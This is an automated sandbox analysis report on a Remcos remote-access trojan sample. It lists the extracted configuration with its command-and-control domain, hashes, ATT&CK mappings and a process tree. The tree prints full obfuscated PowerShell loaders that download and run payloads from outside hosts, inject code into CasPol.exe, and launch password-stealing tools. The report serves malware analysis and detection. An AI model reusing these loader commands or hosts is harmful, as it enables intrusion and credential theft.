remcos | c76b7544fd10321bd84cd67c6662b7ceb4fe71a87789a09948c6ba690f0fb3ec

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-01-2025 10:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

nicegirlkissedmewithloverissingmegoodgreatthings.hta
Size

491KB
MD5

4b953e9801ac2ec60bf284162ed6793d
SHA1

090650754ac26c80128fed9b425000f3167551f4
SHA256

c76b7544fd10321bd84cd67c6662b7ceb4fe71a87789a09948c6ba690f0fb3ec
SHA512

f5d19a017a961229db0c10e06fe1da6a78693490d2928a6931ad5945ea93fa6b7bc193ae4c89f527702003293a05e7aba4618bba1c24508ef36015609ab4aa5a
SSDEEP

768:PnQVWUUGY6qZFKN9xv7RmzmBLStxuzHtu1Dj0YNYlBdNpdCb8sOUw8Qp3/GHxwv2:JRkKyMIBK2r0a8i4h

Score

10^/10

remcos zynova collection defense_evasion discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

zynova

millionairedreams2025.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-MGAETQ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/3920-107-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/224-111-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/432-108-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/3920-107-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/432-108-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
15	2784	powershell.exe
20	1432	powershell.exe
21	1432	powershell.exe

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
2784	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1432	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1432 set thread context of 3940	1432	powershell.exe	97
PID 3940 set thread context of 432	3940	CasPol.exe	98
PID 3940 set thread context of 3920	3940	CasPol.exe	99
PID 3940 set thread context of 224	3940	CasPol.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2784	powershell.exe
2784	powershell.exe
1432	powershell.exe
1432	powershell.exe
224	CasPol.exe
224	CasPol.exe
432	CasPol.exe
432	CasPol.exe
432	CasPol.exe
432	CasPol.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
3940	CasPol.exe
3940	CasPol.exe
3940	CasPol.exe
3940	CasPol.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeDebugPrivilege	224	CasPol.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 2124 wrote to memory of 3164	2124	mshta.exe	82
PID 2124 wrote to memory of 3164	2124	mshta.exe	82
PID 2124 wrote to memory of 3164	2124	mshta.exe	82
PID 3164 wrote to memory of 2784	3164	cmd.exe	84
PID 3164 wrote to memory of 2784	3164	cmd.exe	84
PID 3164 wrote to memory of 2784	3164	cmd.exe	84
PID 2784 wrote to memory of 4128	2784	powershell.exe	87
PID 2784 wrote to memory of 4128	2784	powershell.exe	87
PID 2784 wrote to memory of 4128	2784	powershell.exe	87
PID 4128 wrote to memory of 2084	4128	csc.exe	88
PID 4128 wrote to memory of 2084	4128	csc.exe	88
PID 4128 wrote to memory of 2084	4128	csc.exe	88
PID 2784 wrote to memory of 1620	2784	powershell.exe	92
PID 2784 wrote to memory of 1620	2784	powershell.exe	92
PID 2784 wrote to memory of 1620	2784	powershell.exe	92
PID 1620 wrote to memory of 1432	1620	WScript.exe	93
PID 1620 wrote to memory of 1432	1620	WScript.exe	93
PID 1620 wrote to memory of 1432	1620	WScript.exe	93
PID 1432 wrote to memory of 3940	1432	powershell.exe	97
PID 1432 wrote to memory of 3940	1432	powershell.exe	97
PID 1432 wrote to memory of 3940	1432	powershell.exe	97
PID 1432 wrote to memory of 3940	1432	powershell.exe	97
PID 1432 wrote to memory of 3940	1432	powershell.exe	97
PID 1432 wrote to memory of 3940	1432	powershell.exe	97
PID 1432 wrote to memory of 3940	1432	powershell.exe	97
PID 1432 wrote to memory of 3940	1432	powershell.exe	97
PID 1432 wrote to memory of 3940	1432	powershell.exe	97
PID 1432 wrote to memory of 3940	1432	powershell.exe	97
PID 3940 wrote to memory of 432	3940	CasPol.exe	98
PID 3940 wrote to memory of 432	3940	CasPol.exe	98
PID 3940 wrote to memory of 432	3940	CasPol.exe	98
PID 3940 wrote to memory of 432	3940	CasPol.exe	98
PID 3940 wrote to memory of 3920	3940	CasPol.exe	99
PID 3940 wrote to memory of 3920	3940	CasPol.exe	99
PID 3940 wrote to memory of 3920	3940	CasPol.exe	99
PID 3940 wrote to memory of 3920	3940	CasPol.exe	99
PID 3940 wrote to memory of 320	3940	CasPol.exe	100
PID 3940 wrote to memory of 320	3940	CasPol.exe	100
PID 3940 wrote to memory of 320	3940	CasPol.exe	100
PID 3940 wrote to memory of 224	3940	CasPol.exe	101
PID 3940 wrote to memory of 224	3940	CasPol.exe	101
PID 3940 wrote to memory of 224	3940	CasPol.exe	101
PID 3940 wrote to memory of 224	3940	CasPol.exe	101

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\nicegirlkissedmewithloverissingmegoodgreatthings.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2124
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C pOWErSheLL -eX bYPass -NOp -W 1 -c deVIceCreDeNTialDePlOyMent.eXe ; INVoke-eXPreSsIOn($(INVoke-EXprEsSIoN('[SySTeM.tEXT.eNCOdinG]'+[CHaR]58+[ChaR]58+'uTf8.GEtStRinG([SySTEM.conVErt]'+[CHar]58+[chAr]0x3a+'fROmbaSE64StRINg('+[chAr]34+'JGdqUnh0USAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZW1CZXJkZUZJbklUaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlscWVNcSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWUlpLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5bm8sdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbFUsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRWSmJXenhxdmwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlB0dyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIWnpOcERwU0VsZCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRnalJ4dFE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMjEwLjIxNS43L3hhbXBwL2trYi9uaWNlZ2lybHdhbnRtZXRva2lzc2hlcmxpcHN3ZWxsd2l0aG15bGlwcy50SUYiLCIkZW5WOkFQUERBVEFcbmljZWdpcmx3YW50bWV0b2tpc3NoZXJsaXBzd2VsbHdpdGhteWxpcC52YlMiLDAsMCk7U3RBUlQtU2xlZXAoMyk7U1RhcnQtcHJPQ2VTcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXG5pY2VnaXJsd2FudG1ldG9raXNzaGVybGlwc3dlbGx3aXRobXlsaXAudmJTIg=='+[ChAr]0x22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    pOWErSheLL -eX bYPass -NOp -W 1 -c deVIceCreDeNTialDePlOyMent.eXe ; INVoke-eXPreSsIOn($(INVoke-EXprEsSIoN('[SySTeM.tEXT.eNCOdinG]'+[CHaR]58+[ChaR]58+'uTf8.GEtStRinG([SySTEM.conVErt]'+[CHar]58+[chAr]0x3a+'fROmbaSE64StRINg('+[chAr]34+'JGdqUnh0USAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZW1CZXJkZUZJbklUaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlscWVNcSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWUlpLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5bm8sdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbFUsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRWSmJXenhxdmwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlB0dyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIWnpOcERwU0VsZCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRnalJ4dFE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMjEwLjIxNS43L3hhbXBwL2trYi9uaWNlZ2lybHdhbnRtZXRva2lzc2hlcmxpcHN3ZWxsd2l0aG15bGlwcy50SUYiLCIkZW5WOkFQUERBVEFcbmljZWdpcmx3YW50bWV0b2tpc3NoZXJsaXBzd2VsbHdpdGhteWxpcC52YlMiLDAsMCk7U3RBUlQtU2xlZXAoMyk7U1RhcnQtcHJPQ2VTcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXG5pY2VnaXJsd2FudG1ldG9raXNzaGVybGlwc3dlbGx3aXRobXlsaXAudmJTIg=='+[ChAr]0x22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2784
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\njnhk1az\njnhk1az.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4128
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3D16.tmp" "c:\Users\Admin\AppData\Local\Temp\njnhk1az\CSC5F2BC98E9ADA4B0B9239B76088B4B7D6.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2084
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicegirlwantmetokissherlipswellwithmylip.vbS"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1620
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AdQBwAGwAbwBhAGQAZABlAGkAbQBhAGcAZQBuAHMALgBjAG8AbQAuAGIAcgAvAGkAbQBhAGcAZQBzAC8AMAAwADQALwA4ADgAMwAvADQAMgAzAC8AbwByAGkAZwBpAG4AYQBsAC8AbgBlAHcAXwBpAG0AYQBnAGUALgBqAHAAZwA/ADEANwAzADcAMQAyADQAOQA4ADAAJwA7ACAAdAByAHkAIAB7ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABpAG0AYQBnAGUAVQByAGwAKQA7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAOwAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJABtAGUAdABoAG8AZAAgAD0AIABbAFIAdQBtAHAALgBDAGwAYQBzAHMAOQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAHMAbQBlAHQAaABvAGQAXwAyACcAKQA7ACAAJABtAGUAdABoAG8AZAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdAEAAKAAnAHQAeAB0AC4AcwBnAG4AaQBoAHQAeQByAGUAdgBlAHIAbwBmAGwAawB1AGYAaQB0AHUAYQBlAGIAeQByAGUAdgBlAHIAYQBzAGwAcgBpAGcAdABoAGcAaQBuAC8AYgBrAGsALwBwAHAAbQBhAHgALwA3AC4ANQAxADIALgAwADEAMgAuADIAOQAxAC8ALwA6AHAAdAB0AGgAJwAsACcAZgBhAGwAcwBlACcALAAnAGYAYQBsAHMAZQAnACwAJwBmAGEAbABzAGUAJwAsACcAZgBhAGwAcwBlACcALAAnAGYAYQBsAHMAZQAnACwAJwBDAGEAcwBQAG8AbAAnACwAJwBmAGEAbABzAGUAJwApACkAOwAgAH0AIAB9ACAAYwBhAHQAYwBoACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwBFAHIAcgBvADoAIAAkAF8AJwA7ACAAfQA=')) | Invoke-Expression"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1432
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:3940
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\clkdgypztdnbwrexvzslcp"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:432
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\efxvgrabhlfgyxabnkenfcrrrm"
        7⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:3920
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\ohcohbtuvtxtjdofwurgqhlizahhq"
        7⤵
        
        PID:320
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\ohcohbtuvtxtjdofwurgqhlizahhq"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
fb1df442f2cee34456c6ed9064318559

SHA1
729e8f61f181b303d25e1f709399db242d82c6c2

SHA256
75207b26127c0778928b2c0ce51d371a1b4f5a4c47596902f88dbff9ddd16a79

SHA512
d6df1b8e17733d65ae332d20a22fcbc2cdec8df38a705b694b4d87b2f0c9c287378791c3da2cb2142e95f31df1b4209e01a17a83eabfcb2175f38a9207ad0294

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
d321fbb0f797d5d0dd93423b05f75c33

SHA1
1ff7af7feeadc4b5702042a1a3bbbb92ec28f368

SHA256
5b5d51e58167a7aec0d4234379ea18a5718b69ef3eda6adc46728935c3956022

SHA512
56cdcc798ed5c9445f4ca4f45d3f0506e7683e7244e9cb4a9fc0db13917248e1b2eb7de1ecce2227e924ea31d85bc8e0cf5efed4f9b2b3e2ef1859372d4cd93f

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES3D16.tmp

Filesize
1KB

MD5
0d84645fdd37f5cf07cb6cd0ab2afa16

SHA1
835076aef2d6e1d8536cdf55047726edc7ffdce1

SHA256
b52b578ac72bf55bd727103919b93f8dc0294e003cd4483a612827e6278f477b

SHA512
ad05adee4de34de150be4d6b1eb6538f2660d6156052407aeb4611feabb5dc7b248792a6eb3790770997108e3b338f42d96d4368ceee05fcf536859e9cfeefd1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1hym4vvn.eg0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\clkdgypztdnbwrexvzslcp

Filesize
4KB

MD5
57509a6a6267f17bef5e5da8b1df8829

SHA1
0886741be12c4e6dd24688df7b9568e91b2fc2aa

SHA256
4d50e4b2ee7b25d6a88dea6a28503975ca95f98e6e72fcd1ee754d016df3ed3d

SHA512
019c20a2354ef20ff3870ea4d544ae4e7ec21729bfbeb19d2dd2f8b087fcb6b83f259ab2f35e0f3c7f044ebb7c5bbfdfc63f23b811d458a15f5ad35aa9175228

Download Submit
C:\Users\Admin\AppData\Local\Temp\njnhk1az\njnhk1az.dll

Filesize
3KB

MD5
49fa5ff27d0e23873c8441f4b9625db1

SHA1
2b8a154e3decadd58e0c1641c44af4471bc66560

SHA256
cc483a7490c2719c743a0fa5b6301c22e1d4742814aa2969f70f763cb847c31f

SHA512
ca75e781ecaf93f6a071c81a45f5e863ec7f556f2f0c1433c89fba704293a9c3be7ab2bc9c557d42c4a7d45123c01f4ddb769bde7aa0c5bd20cd742f376837cc

Download Submit
C:\Users\Admin\AppData\Roaming\nicegirlwantmetokissherlipswellwithmylip.vbS

Filesize
213KB

MD5
b14ef4fa92414ea1658977a049f15306

SHA1
11e59f935817673e2b68cfd36e4ce93d15034714

SHA256
a6f979fe5ca109e929031fd0811506343b3089a13300438be24070650c6b6bf3

SHA512
8b627fd09767ba773acdbcce52b646b1b819b261b72c17289d443a6c7e504f34b3402a64f73d48fef893d7d38dfbeef213ed5218c211558428307d69a03f9630

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\njnhk1az\CSC5F2BC98E9ADA4B0B9239B76088B4B7D6.TMP

Filesize
652B

MD5
218dd1fe7dca9b156aaf3e00d1bc1636

SHA1
268cc10f80d8c8021f1928f80af4e2a8920ae6cf

SHA256
35b09d6e2c086954ce26b50e59fea5448105a94ae0cb17e36430d63078132600

SHA512
b4789e97bf2401479c93a119d87014b579224f48f8c09e6db6bfc4aaa15a2d9bfad096f63a61a6810d7e9fbe0b98190bace786da4a21adedf353e4acd7ddc1a8

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\njnhk1az\njnhk1az.0.cs

Filesize
478B

MD5
680c55127532e413a19eddb51b0cb473

SHA1
7d279e255bc675f1c09df8b210ee4472b5d3b8b6

SHA256
fdd40f201088921031cf300fdce7ca0be6e458b70d0f5df699cf6a0cc33a7515

SHA512
27a542c554c27adf777c741eb218b7a0634392abced081722b43c51066dfb49d604473a9df4b4e257879355cb966882431286f7bbb2ed5d8a23840d837127205

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\njnhk1az\njnhk1az.cmdline

Filesize
369B

MD5
05e8b4ee911187061bd6434f82c77108

SHA1
142164f3125e93a101ef0ee477fe05aa99057d93

SHA256
5a10b96231cc2f5ead76067322d9f697ed4d58f22e5864bc5c9502ba028de360

SHA512
183142ea552f17994737c076c6c9fffc1745b261bbab1099d29b57745343d6634f400f217744b053632c12f88d15f1c296b2cf9101b8b2d2056d1a91219635d0

Download Submit
memory/224-109-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/224-110-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/224-111-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/432-108-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/432-103-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/432-105-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1432-89-0x00000000077C0000-0x00000000077D2000-memory.dmp

Filesize
72KB

Download
memory/1432-83-0x0000000005D70000-0x00000000060C4000-memory.dmp

Filesize
3.3MB

Download
memory/1432-90-0x00000000077D0000-0x00000000077D6000-memory.dmp

Filesize
24KB

Download
memory/1432-91-0x0000000007890000-0x000000000792C000-memory.dmp

Filesize
624KB

Download
memory/2124-0-0x0000000005210000-0x0000000005230000-memory.dmp

Filesize
128KB

Download
